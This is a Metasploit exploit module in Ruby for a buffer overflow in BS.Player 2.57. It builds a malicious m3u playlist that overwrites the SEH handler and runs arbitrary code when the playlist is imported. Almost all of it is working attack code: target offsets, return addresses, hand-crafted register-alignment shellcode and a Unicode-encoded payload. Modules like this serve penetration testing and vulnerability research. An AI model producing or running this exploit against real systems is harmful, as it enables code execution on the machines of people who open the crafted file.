BS.Player 2.57 Buffer Overflow (Unicode SEH)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'BS.Player 2.57 Buffer Overflow (Unicode SEH)',
        'Description' => %q{
          This module exploits a buffer overflow in BS.Player 2.57. When
          the playlist import is used to import a specially crafted m3u file,
          a buffer overflow occurs allowing arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'C4SS!0 G0M3S ', # Original Exploit
          'Chris Gabriel', # MSF Module
          # Greets: Corelan team for mona.py & awesome tutorials
        ],
        'References' => [
          [ 'CVE', '2010-10016' ],
          [ 'OSVDB', '82528' ],
          [ 'EDB', '15934' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          # 'InitialAutoRunScript' => 'migrate -f',
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00\x0a\x0d\x1a\x80",
          'DisableNops' => true,
          'StackAdjustment' => -3500,
        },

        'Targets' => [
          [
            'Windows XP',
            {
              # pop ecx # pop ebp # ret 0c
              # ASLR: False, Rebase: False, SafeSEH: False
              # v2.5.7.1051 (bsplayer.exe)
              'Ret' => "\x2f\x49",
              'Offset' => 4102,
              'Padding' => 1879
            }
          ],
          [
            'Windows 7',
            {
              # pop ecx # pop ebp # ret 0c
              # ASLR: False, Rebase: False, SafeSEH: False
              # v2.5.7.1051 (bsplayer.exe)
              'Ret' => "\x2f\x49",
              'Offset' => 4102,
              'Padding' => 1931
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-01-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ]
    )
  end

  def exploit
    nseh = "\x61\x42"

    align = ''
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x58"	# POP EAX
    align << "\x6d"	# PAD
    align << "\x50"	# PUSH EAX
    align << "\x6d"	# PAD
    align << "\xc3"	# RET

    enc = framework.encoders.create('x86/unicode_mixed')
    register_to_align_to = "EAX"
    enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
    unicodepayload = enc.encode(payload.encoded, nil, nil, platform)

    padding = rand_text_alpha_lower(target['Padding'])

    buffer = "http://"
    buffer << rand_text_alpha_lower(target['Offset'])
    buffer << nseh
    buffer << target['Ret']
    buffer << align
    buffer << padding
    buffer << unicodepayload

    file_create(buffer)
  end
end